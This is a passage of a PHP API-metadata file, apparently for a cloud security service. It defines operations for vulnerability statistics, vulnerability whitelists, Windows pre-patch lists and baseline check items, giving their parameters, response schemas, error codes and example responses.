ID of the member in the resource directory.'."\n" ."\n" .'> You can call the [DescribeMonitorAccounts](~~DescribeMonitorAccounts~~) operation to obtain the IDs.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1232428423234****', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '3FE272FA-7263-4554-A90F-A7857945A6D5', ], 'VulLaterSum' => [ 'description' => 'The number of vulnerabilities that have the medium priority.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'VulNntfSum' => [ 'description' => 'The number of vulnerabilities that have the low priority.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'VulAsapSum' => [ 'description' => 'The number of vulnerabilities that have the high priority.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '16', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'RdCheckNoPermission', 'errorMessage' => 'Resource directory account verification has no permission.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], [ 'errorCode' => 'RdCheckInnerError', 'errorMessage' => 'Resource directory account service internal error.', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"3FE272FA-7263-4554-A90F-A7857945A6D5\\",\\n \\"VulLaterSum\\": 0,\\n \\"VulNntfSum\\": 0,\\n \\"VulAsapSum\\": 16\\n}","errorExample":""},{"type":"xml","example":"\\n 16\\n 0\\n 0\\n 3FE272FA-7263-4554-A90F-A7857945A6D5\\n","errorExample":""}]', 'title' => 'GetVulStatistics', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'ModifyVulWhitelistTarget' => [ 'summary' => 'Modifies the servers that are added to a vulnerability whitelist.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasXNUPZF', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '42.120.75.150', ], ], [ 'name' => 'Id', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the whitelist.'."\n" ."\n" .'> You can call the [DescribeVulWhitelist](~~DescribeVulWhitelist~~) operation to query the IDs of whitelists.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '2533681', ], ], [ 'name' => 'TargetInfo', 'in' => 'query', 'schema' => [ 'description' => 'The applicable scope of the whitelist. The value of this parameter is in the JSON format and contains the following fields:'."\n" ."\n" .'* **type**: the type of the applicable scope. Valid values:'."\n" ."\n" .' * **GroupId**: the ID of a server group'."\n" .' * **Uuid**: the UUID of a server'."\n" ."\n" .'* **uuids**: the UUIDs of servers'."\n" ."\n" .'* **groupIds**: the IDs of server groups'."\n" ."\n" .'> If you leave this parameter empty, all servers are added to the whitelist. If you set the **type** field to **GroupId**, you must also specify the **groupIds** field. If you set the **type** field to **Uuid**, you must also specify the **uuids** field.'."\n", 'type' => 'string', 'required' => false, 'example' => '{'."\n" .' "type": "GroupId",'."\n" .' "uuids": [],'."\n" .' "groupIds": ['."\n" .' 10782678'."\n" .' ]'."\n" .'}', ], ], [ 'name' => 'Reason', 'in' => 'query', 'schema' => [ 'description' => 'The reason why you add the server to the whitelist.'."\n", 'type' => 'string', 'required' => false, 'example' => '1221', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '896AC4F0-C881-502B-BFC7-4751C5E3DEAA', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"896AC4F0-C881-502B-BFC7-4751C5E3DEAA\\"\\n}","type":"json"}]', 'title' => 'ModifyVulWhitelistTarget', ], 'DescribeFrontVulPatchList' => [ 'summary' => 'Queries the pre-patches that are required to fix a specified Windows system vulnerability.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'Info', 'in' => 'query', 'schema' => [ 'description' => 'The information about the Windows system vulnerability. The value is a JSON string that contains the following fields:'."\n" ."\n" .'* **name**: the name of the vulnerability.'."\n" .'* **uuid**: the UUID of the server on which the vulnerability is detected.'."\n" .'* **tag**: the tag that is added to the vulnerability. Set this field to **system**, which indicates Windows system vulnerabilities.'."\n", 'type' => 'string', 'required' => true, 'example' => '[{"name":"5000803","uuid":"026c9296-1234-5678-b937-a7d81f05****","tag":"system"}]', ], ], [ 'name' => 'OperateType', 'in' => 'query', 'schema' => [ 'description' => 'The operation that you want to perform on the vulnerability. Set the value to **vul_fix**, which indicates vulnerability fixing.'."\n", 'type' => 'string', 'required' => true, 'example' => 'vul_fix', ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the vulnerability. Set the value to **sys**, which indicates Windows system vulnerabilities.'."\n", 'type' => 'string', 'required' => true, 'example' => 'sys', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'F929E952-EBFC-56C3-BD35-BF8B59024C68', ], 'FrontPatchList' => [ 'description' => 'An array consisting of the information about the pre-patches that are required to fix the specified Windows system vulnerability.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Uuid' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'example' => '1587bedb-fdb4-48c4-9330-4545****', ], 'PatchList' => [ 'description' => 'An array consisting of the pre-patches that are required to fix the specified Windows system vulnerability on the server.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Name' => [ 'description' => 'The version number of the pre-patch that is required to fix the Windows system vulnerability.'."\n", 'type' => 'string', 'example' => '4523204', ], 'AliasName' => [ 'description' => 'The name of the vulnerability.'."\n", 'type' => 'string', 'example' => 'RHBA-2019:2599: krb5 bug fix update', ], ], ], ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"F929E952-EBFC-56C3-BD35-BF8B59024C68\\",\\n \\"FrontPatchList\\": [\\n {\\n \\"Uuid\\": \\"1587bedb-fdb4-48c4-9330-4545****\\",\\n \\"PatchList\\": [\\n {\\n \\"Name\\": \\"4523204\\",\\n \\"AliasName\\": \\"RHBA-2019:2599: krb5 bug fix update\\"\\n }\\n ]\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n F929E952-EBFC-56C3-BD35-BF8B59024C68\\n \\n 1587bedb-fdb4-48c4-9330-4545****\\n \\n 4523204\\n 栈更新，适合基于 x64 的系统 (KB4523204)\\n \\n \\n","errorExample":""}]', 'title' => 'DescribeFrontVulPatchList', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'ListBaselineCheckWhiteRecord' => [ 'summary' => 'Queries the whitelist rules for a baseline check item.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], ], 'parameters' => [ [ 'name' => 'CheckIds', 'in' => 'query', 'style' => 'json', 'schema' => [ 'description' => 'The IDs of check items.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the check item.'."\n" ."\n" .'> You can call the [DescribeCheckWarningSummary](~~116179~~) operation to query the IDs of check items.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '58', ], 'required' => false, ], ], [ 'name' => 'RecordIds', 'in' => 'query', 'style' => 'json', 'schema' => [ 'description' => 'The IDs of the whitelist rules.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the whitelist rule.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '496242', ], 'required' => false, ], ], [ 'name' => 'Source', 'in' => 'query', 'schema' => [ 'description' => 'The data source. If you leave this parameter empty, the default value is used. Valid values:'."\n" ."\n" .'* **default**: server'."\n" .'* **agentless**: agentless detection'."\n", 'type' => 'string', 'required' => false, 'example' => 'agentless', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'CheckItemFuzzy', 'in' => 'query', 'schema' => [ 'description' => 'The name of the check item. Fuzzy match is supported.'."\n", 'type' => 'string', 'required' => false, 'example' => 'redis', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number. Pages start from page 1. Default value: 1.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PageResult', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'List' => [ 'description' => 'The whitelist rules.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The whitelist rule.'."\n", 'type' => 'object', 'properties' => [ 'RecordId' => [ 'description' => 'The ID of the whitelist rule.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '79412', ], 'CheckId' => [ 'description' => 'The ID of the check item.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '696', ], 'TargetType' => [ 'description' => 'The type of the assets on which the whitelist rule takes effect. Valid values:'."\n" ."\n" .'* **all_instance**: all servers'."\n" .'* **instance**: specific servers'."\n", 'type' => 'string', 'example' => 'instance', ], 'Target' => [ 'description' => 'The object that is added to the whitelist.'."\n", 'type' => 'string', 'example' => 'HOST_BASELINE_WHITE_LIST_21', ], 'Reason' => [ 'description' => 'The reason why the check item is added to the whitelist.'."\n", 'type' => 'string', 'example' => 'AutoTest', ], 'Source' => [ 'description' => 'The data source. Valid values:'."\n" ."\n" .'* **default**: server'."\n" .'* **agentless**: agentless detection'."\n", 'type' => 'string', 'example' => 'agentless', ], 'Lang' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'example' => 'en', ], 'CheckItem' => [ 'description' => 'The description of the check item.'."\n", 'type' => 'string', 'example' => 'Config the Event Audit policys', ], 'CheckType' => [ 'description' => 'The type of the check item.'."\n", 'type' => 'string', 'example' => 'Security audit', ], 'CheckTypeDisName' => [ 'description' => 'The display name of the check item type.'."\n", 'type' => 'string', 'example' => 'Security audit', ], 'ContainerItems' => [ 'description' => 'List of whitelisted container names in the check item.', 'type' => 'array', 'items' => [ 'description' => 'Names of the whitelisted containers in the check item.', 'type' => 'object', 'properties' => [ 'Uuid' => [ 'description' => 'Server UUID.', 'type' => 'string', 'example' => 'beeea5c2-1857-4b2b-a794-7d21eae*****', ], 'ContainerNames' => [ 'description' => 'Names of the whitelisted containers for the current asset, separated by English commas.', 'type' => 'string', 'example' => '"anythingllm,ChuanhuChat"', ], ], ], ], ], ], ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '45', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], ], ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '9F4E6157-9600-5588-86B9-38F09067****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"List\\": [\\n {\\n \\"RecordId\\": 79412,\\n \\"CheckId\\": 696,\\n \\"TargetType\\": \\"instance\\",\\n \\"Target\\": \\"HOST_BASELINE_WHITE_LIST_21\\",\\n \\"Reason\\": \\"暂时忽略\\\\n\\",\\n \\"Source\\": \\"agentless\\",\\n \\"Lang\\": \\"en\\",\\n \\"CheckItem\\": \\"Config the Event Audit policys\\",\\n \\"CheckType\\": \\"Security audit\\",\\n \\"CheckTypeDisName\\": \\"Security audit\\",\\n \\"ContainerItems\\": [\\n {\\n \\"Uuid\\": \\"beeea5c2-1857-4b2b-a794-7d21eae*****\\",\\n \\"ContainerNames\\": \\"\\\\\\"anythingllm,ChuanhuChat\\\\\\"\\"\\n }\\n ]\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 45,\\n \\"Count\\": 2\\n },\\n \\"RequestId\\": \\"9F4E6157-9600-5588-86B9-38F09067****\\"\\n}","type":"json"}]', 'title' => 'ListBaselineCheckWhiteRecord', 'translator' => 'machine', ], 'ListCheckItemWarningSummary' => [ 'summary' => 'Queries the risk statistics of check items by page.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '145310', 'abilityTreeNodes' => [ 'FEATUREsas0XJWFD', ], ], 'parameters' => [ [ 'name' => 'RiskType', 'in' => 'query', 'schema' => [ 'title' => '基线分类名称', 'description' => 'The type of the baseline.'."\n", 'type' => 'string', 'required' => false, 'example' => 'weak_password', ], ], [ 'name' => 'CheckType', 'in' => 'query', 'schema' => [ 'title' => '检查项分类名称', 'description' => 'The type of the check item.'."\n", 'type' => 'string', 'required' => false, 'example' => 'hc.check.type.attack_defense', ], ], [ 'name' => 'CheckWarningStatus', 'in' => 'query', 'schema' => [ 'title' => '风险状态', 'description' => 'The risk status. Default value is null, meaning check items in all states are queried. Valid values:'."\n" ."\n" .'* **1**: failed'."\n" .'* **3**: passed'."\n" .'* **6**: whitelisted'."\n" .'* **8**: fixed', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '3', ], ], [ 'name' => 'CheckLevel', 'in' => 'query', 'schema' => [ 'title' => '风险等级', 'description' => 'The risk level. Default value: null, which indicates that check items at all risk levels are queried.Valid values:'."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**', 'type' => 'string', 'required' => false, 'example' => 'medium', ], ], [ 'name' => 'CheckItemFuzzy', 'in' => 'query', 'schema' => [ 'title' => '检查项名称模糊匹配', 'description' => 'The name of the check item. Fuzzy match is supported.'."\n", 'type' => 'string', 'required' => false, 'example' => 'password', ], ], [ 'name' => 'ContainerFieldName', 'in' => 'query', 'schema' => [ 'title' => '容器安全查询参数名称', 'description' => 'The name of the field that is used to query containers.'."\n", 'type' => 'string', 'required' => false, 'example' => 'clusterId', ], ], [ 'name' => 'ContainerFieldValue', 'in' => 'query', 'schema' => [ 'title' => '容器安全查询值', 'description' => 'The value of the field that is used to query containers.'."\n", 'type' => 'string', 'required' => false, 'example' => 'c471f0f61b9c04f8380556e922cf1****', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: 20. If you leave this parameter empty, 20 entries are returned on each page.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'GroupId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the asset group.'."\n" ."\n" .'> You can call the [DescribeAllGroups](~~DescribeAllGroups~~) operation to query the IDs of asset groups.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1161****', ], ], [ 'name' => 'Source', 'in' => 'query', 'schema' => [ 'description' => 'The data source. Default value: **default**. Valid value:'."\n" ."\n" .'* **agentless**: The check items of baselines for agentless detection.'."\n" .'* **default**: The check items of baselines for hosts.'."\n", 'type' => 'string', 'required' => false, 'example' => 'agentless', ], ], [ 'name' => 'UuidList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The UUIDs of the servers.'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~141932~~) operation to query the UUIDs of the servers.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The UUID of the server.'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~141932~~) operation to query the UUID of the server.'."\n", 'type' => 'string', 'required' => false, 'example' => '4fe8e1cd-3c37-4851-b9de-124da32c****', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'CheckWarningStatusList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The list of risk levels. If the CheckWarningStatus parameter is specified, only it takes effect.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The risk status. Valid values:'."\n" ."\n" .'* **1**: failed'."\n" .'* **3**: passed'."\n" .'* **6**: whitelisted'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'StartTime', 'in' => 'query', 'schema' => [ 'description' => 'Start of time range for filtering alerts, effective only for querying historically handled alerts.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1732793158366', ], ], [ 'name' => 'ResourceDirectoryAccountId', 'in' => 'query', 'schema' => [ 'description' => 'The Alibaba Cloud account ID of the member in the resource directory.'."\n" ."\n" .'> You can call the [DescribeMonitorAccounts](~~DescribeMonitorAccounts~~) operation to obtain the IDs.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '127608589417****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PageResult', 'description' => 'List of check item risk statistics.'."\n", 'type' => 'object', 'properties' => [ 'List' => [ 'description' => 'List of check item risk statistics.'."\n", 'type' => 'array', 'items' => [ 'description' => 'Risk statistic of check items.'."\n", 'type' => 'object', 'properties' => [ 'RiskType' => [ 'title' => '基线分类', 'description' => 'The type of the baseline.'."\n", 'type' => 'string', 'deprecated' => true, 'example' => 'weak_password', ], 'Alias' => [ 'title' => '基线分类名称', 'description' => 'The alias of the baseline type.'."\n", 'type' => 'string', 'deprecated' => true, 'example' => 'week_pa****', ], 'CheckId' => [ 'title' => '检查项id', 'description' => 'The ID of the check item.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '696', ], 'CheckItem' => [ 'title' => '检查项描述', 'description' => 'The description of the check item.'."\n", 'type' => 'string', 'example' => 'Config the Event Audit policys', ], 'CheckLevel' => [ 'title' => '检查项风险等级', 'description' => 'The risk level of the check item. Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**'."\n", 'type' => 'string', 'example' => 'high', ], 'CheckType' => [ 'title' => '检查项类别', 'description' => 'The type of the check item.'."\n", 'type' => 'string', 'example' => 'Security audit', ], 'Advice' => [ 'title' => '检查项类别', 'description' => 'The suggestion on the check item.'."\n", 'type' => 'string', 'example' => 'In the Administrative Tools window, double-click Local Security Policy. In the Local Security Policy window that appears, choose Security Settings\\\\Local Policies\\\\Audit Policy, configure all audit policies as: `Success, Failure`.', ], 'Description' => [ 'title' => '检查项类别', 'description' => 'The description of the check item.'."\n", 'type' => 'string', 'example' => 'Config the Event Audit policys', ], 'Status' => [ 'title' => '检查项状态', 'description' => 'Risk status of check items. Valid values:'."\n" ."\n" .'* **1**: failed'."\n" .'* **3**: passed'."\n" .'* **6**: whitelisted'."\n" .'* **8**: fixed', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'WarningMachineCount' => [ 'title' => '检查项风险机器数量', 'description' => 'The number of servers that are affected by the check item.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'ContainerCheckItem' => [ 'description' => 'Indicates whether the check item belongs to the container runtime type. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'AffiliatedRiskTypes' => [ 'description' => 'The types of the baselines to which the check item belongs.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The type of the baseline to which the check item belongs.'."\n", 'type' => 'string', 'example' => 'CIS Compliance checks', ], ], 'AffiliatedRisks' => [ 'description' => 'The baselines to which the check item belongs.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The baseline to which the check item belongs.'."\n", 'type' => 'string', 'example' => 'CIS Ubuntu Linux 14 LTS Benchmark', ], ], 'EnableRisks' => [ 'description' => 'The baselines in which the check item is enabled.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The baseline in which the check item is enabled.'."\n", 'type' => 'string', 'example' => 'CIS Ubuntu Linux 14 LTS Benchmark'."\n", ], ], ], ], ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '149', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '4', ], ], ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'DC97C9EC-4B7D-5EFF-8A5E-A5CCC9ED****', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'RdCheckNoPermission', 'errorMessage' => 'Resource directory account verification has no permission.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], [ 'errorCode' => 'RdCheckInnerError', 'errorMessage' => 'Resource directory account service internal error.', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"List\\": [\\n {\\n \\"RiskType\\": \\"weak_password\\",\\n \\"Alias\\": \\"week_pa****\\",\\n \\"CheckId\\": 696,\\n \\"CheckItem\\": \\"Config the Event Audit policys\\",\\n \\"CheckLevel\\": \\"high\\",\\n \\"CheckType\\": \\"Security audit\\",\\n \\"Advice\\": \\"In the Administrative Tools window, double-click Local Security Policy. In the Local Security Policy window that appears, choose Security Settings\\\\\\\\\\\\\\\\Local Policies\\\\\\\\\\\\\\\\Audit Policy, configure all audit policies as: `Success, Failure`.\\",\\n \\"Description\\": \\"Config the Event Audit policys\\",\\n \\"Status\\": 1,\\n \\"WarningMachineCount\\": 20,\\n \\"ContainerCheckItem\\": true,\\n \\"AffiliatedRiskTypes\\": [\\n \\"CIS Compliance checks\\"\\n ],\\n \\"AffiliatedRisks\\": [\\n \\"CIS Ubuntu Linux 14 LTS Benchmark\\"\\n ],\\n \\"EnableRisks\\": [\\n \\"CIS Ubuntu Linux 14 LTS Benchmark\\\\n\\"\\n ]\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 149,\\n \\"Count\\": 4\\n },\\n \\"RequestId\\": \\"DC97C9EC-4B7D-5EFF-8A5E-A5CCC9ED****\\"\\n}","type":"json"}]', 'title' => 'ListCheckItemWarningSummary', ], 'ListCheckItemWarningMachine' => [ 'summary' => 'Query the list of warning machines for a specific baseline check item.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], ], 'parameters' => [ [ 'name' => 'CheckId', 'in' => 'query', 'schema' => [ 'title' => '检查项id', 'description' => 'The ID of the check item.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '8', ], ], [ 'name' => 'RiskType', 'in' => 'query', 'schema' => [ 'title' => '检查项所属类别', 'description' => 'The type of the check item.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cis', ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'title' => '检查项状态', 'description' => 'The status of the check item. Valid values:'."\n" ."\n" .'* **1**: failed'."\n" .'* **2**: verifying'."\n" .'* **3**: passed'."\n" .'* **6**: ignored'."\n" .'* **7**: fixing'."\n" .'* **8**: fixed', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '3', ], ], [ 'name' => 'Remark', 'in' => 'query', 'schema' => [ 'title' => '机器模糊匹配', 'description' => 'The keyword that is used to query servers in fuzzy match mode.'."\n", 'type' => 'string', 'required' => false, 'example' => '225', ], ], [ 'name' => 'ContainerFieldName', 'in' => 'query', 'schema' => [ 'title' => '容器安全查询参数名称', 'description' => 'The name of the field that is used to query containers.'."\n", 'type' => 'string', 'required' => false, 'example' => 'clusterId', ], ], [ 'name' => 'ContainerFieldValue', 'in' => 'query', 'schema' => [ 'title' => '容器安全查询值', 'description' => 'The value of the field that is used to query containers.'."\n", 'type' => 'string', 'required' => false, 'example' => 'ce89cdd0ea732472a8703821b19e****', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Pages start from page **1**. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: 20. If you leave this parameter empty, 20 entries are returned on each page.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'GroupId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the asset group.'."\n" ."\n" .'> You can call the [DescribeAllGroups](~~130972~~) operation to query the ID of the asset group.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1161****', ], ], [ 'name' => 'Source', 'in' => 'query', 'schema' => [ 'description' => 'The data source. Default value: default. Valid values:'."\n" ."\n" .'* **default**: The check items of baselines for hosts.'."\n" .'* **agentless**: The check items of baselines for agentless detection.'."\n", 'type' => 'string', 'required' => false, 'example' => 'agentless', ], ], [ 'name' => 'UuidList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The UUID array of the servers.', 'type' => 'array', 'items' => [ 'description' => 'The UUID of the servers.'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the UUIDs of servers.', 'type' => 'string', 'required' => false, 'example' => '4fe8e1cd-3c37-4851-b9de-124da32c****', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'ResourceDirectoryAccountId', 'in' => 'query', 'schema' => [ 'description' => 'The Alibaba Cloud account ID of the member in the resource directory.'."\n" ."\n" .'> You can call the [DescribeMonitorAccounts](~~DescribeMonitorAccounts~~) operation to obtain the IDs.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1232428423234****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PageResult', 'description' => 'The servers on which the alerts are generated by page.'."\n", 'type' => 'object', 'properties' => [ 'List' => [ 'description' => 